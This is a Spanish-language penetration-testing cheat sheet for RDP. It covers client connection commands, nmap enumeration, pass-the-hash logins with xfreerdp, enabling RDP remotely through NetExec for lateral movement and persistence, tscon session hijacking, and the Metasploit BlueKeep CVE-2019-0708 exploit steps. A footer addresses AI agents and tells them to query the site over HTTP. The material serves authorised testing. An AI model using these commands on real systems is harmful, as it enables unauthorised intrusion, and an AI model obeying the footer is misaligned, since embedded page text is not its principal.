# RDP

<table data-header-hidden><thead><tr><th width="179"></th><th></th></tr></thead><tbody><tr><td><strong>Puerto/s</strong></td><td>3389</td></tr><tr><td><strong>Protocolo/s</strong></td><td>TCP</td></tr></tbody></table>

## Conexión remota a servicios RDP

### Windows

#### mstsc

<https://learn.microsoft.com/es-es/windows-server/administration/windows-commands/mstsc>

<pre class="language-powershell"><code class="lang-powershell">IP='192.168.1.100'
PORT='3389'
<strong>mstsc /v:$IP:$PORT
</strong></code></pre>

### Linux

#### rdesktop

Cliente RDP clásico para sistemas Linux.

<pre class="language-bash"><code class="lang-bash"><strong>DOMAIN='xtormincorp.local'
</strong><strong>USER='Administrator'
</strong><strong>PASS='password123'
</strong><strong>IP='192.168.1.100'
</strong><strong>
</strong><strong>rdesktop -u $USER -p $PASS $IP
</strong>rdesktop -d $DOMAIN -u $USER -p $PASS $IP
</code></pre>

#### xfreerdp

Cliente RDP moderno y versátil, soporta autenticación por contraseña o hash NTLM.

<pre class="language-bash"><code class="lang-bash">DOMAIN='xtormincorp.local'
USER='Administrator'
PASS='password123'
HASH='xxxxxxxxxxx'
IP='192.168.1.100'

<strong>xfreerdp /u:$DOMAIN\$USER /p:$PASS /v:$IP /cert:ignore
</strong>xfreerdp /u:$DOMAIN\$USER /pth:$HASH /v:$IP /cert:ignore +clipboard /dynamic-resolution
</code></pre>

#### Remmina

Cliente gráfico multiplataforma.

```bash
sudo apt install remmina
```

CLI:

```bash
remmina -c rdp://$USER@$IP
remmina -c rdp://$DOMAIN\\$USER@$IP
remmina -c rdp://$USER:$PASS@$IP
```

GUI:

<figure><img src="/files/BEssgQmQqnMbYQ2S4aFA" alt=""><figcaption></figcaption></figure>

## Enumeración

### Nmap

Enumeración de versión, cifrado y detección de vulnerabilidades:

<pre class="language-bash" data-overflow="wrap"><code class="lang-bash"><strong>nmap -p 3389 -sV -oA nmap/rdp_service -iL scope/scope.txt
</strong><strong>
</strong>nmap -T4 -p 3389 --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -oA nmap/rdp_scripts -iL scope/scope.txt
</code></pre>

### rdp-sec-check

Herramienta en Perl para auditar la configuración de seguridad de RDP.

```bash
git clone "https://github.com/CiscoCXSecurity/rdp-sec-check.git"
```

{% code overflow="wrap" %}

```wasm
IP='192.168.1.100'
./rdp-sec-check.pl $IP

./rdp-sec-check.pl --file scope.txt --timeout 15 --retries 3 --outfile rdpseccheck.log --verbose
```

{% endcode %}

### \[AD] Equipos dentro del grupo "Remote Desktop Users"

Enumeración de equipos que pertenecen al grupo de RDP.

{% code overflow="wrap" %}

```powershell
Find-DomainLocalGroupMember -GroupName "Remote Desktop Users" | select -expand ComputerName
```

{% endcode %}

## Técnicas

### Habilitar servicio RDP remotamente

Mediante el módulo `-M rdp` de *NetExec* es posible habilitar el servicio RDP en un *host* Windows remoto utilizando credenciales válidas de un usuario con privilegios administrativos. Esto se realiza a través de SMB, modificando internamente el registro del sistema remoto.

**Objetivo:** Habilitar RDP para permitir el acceso remoto al escritorio del sistema comprometido, facilitando el movimiento lateral o la persistencia en entornos Windows.

Para ello:

* Internamente, se modifican claves del registro para habilitar `fDenyTSConnections` y abrir el puerto 3389 si es necesario.
* Requiere privilegios administrativos válidos sobre el host remoto.
* No establece una sesión RDP, solo habilita el servicio.

```bash
DOMAIN='xtormincorp.local'
USER='Administrator'
PASS='password123'
HASH='xxxxxxxxxxx'
IP='192.168.1.100'

netexec smb $IP -u $USER -p $PASS -M rdp -o ACTION=enable
netexec smb $IP -u $DOMAIN\\$USER -p $PASS -M rdp -o ACTION=enable
```

Permite al atacante preparar el entorno para una conexión interactiva, facilita el movimiento lateral (usando herramientas como `xfreerdp`, `rdesktop`, `rubeus` o incluso RDP GUI), y puede establecer una puerta de entrada persistente si no se detecta y revierte.

**Clasificación MITRE ATT\&CK:**

| Nivel               | Técnica                                   | ID                                                          |
| ------------------- | ----------------------------------------- | ----------------------------------------------------------- |
| Táctica             | Lateral Movement / Persistence            | —                                                           |
| Técnica             | Remote Services: SMB/Windows Admin Shares | [T1021.002](https://attack.mitre.org/techniques/T1021/002/) |
| Subtécnica          | Remote Services: Remote Desktop Protocol  | [T1021.001](https://attack.mitre.org/techniques/T1021/001/) |
| Técnica relacionada | Modify Registry                           | [T1112](https://attack.mitre.org/techniques/T1112/)         |

## Ataques

### Secuestro de sesión RDP (`tscon`)

Requiere privilegios en el sistema remoto con sesión activa.

```bash
query user
tscon $ID /dest:$SESSIONNAME
```

## Vulnerabilidades

### Bluekeep - **CVE-2019-0708**

<https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2019-0708>

<pre class="language-bash"><code class="lang-bash"><strong>msfconsole
</strong>use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set RHOSTS TARGET_IP
set LHOST YOUR_IP
exploit
</code></pre>

## Referencias

* <https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/rdp-sessions-abuse.html>
* <https://0xss0rz.gitbook.io/0xss0rz/pentest/protocols/rdp-3389>
* <https://attack.mitre.org/techniques/T1563/002/>
* <https://cheatsheet.haax.fr/windows-systems/exploitation/rdp_exploitation/>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.xtormin.com/pentesting-en-infraestructuras/servicios/rdp.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
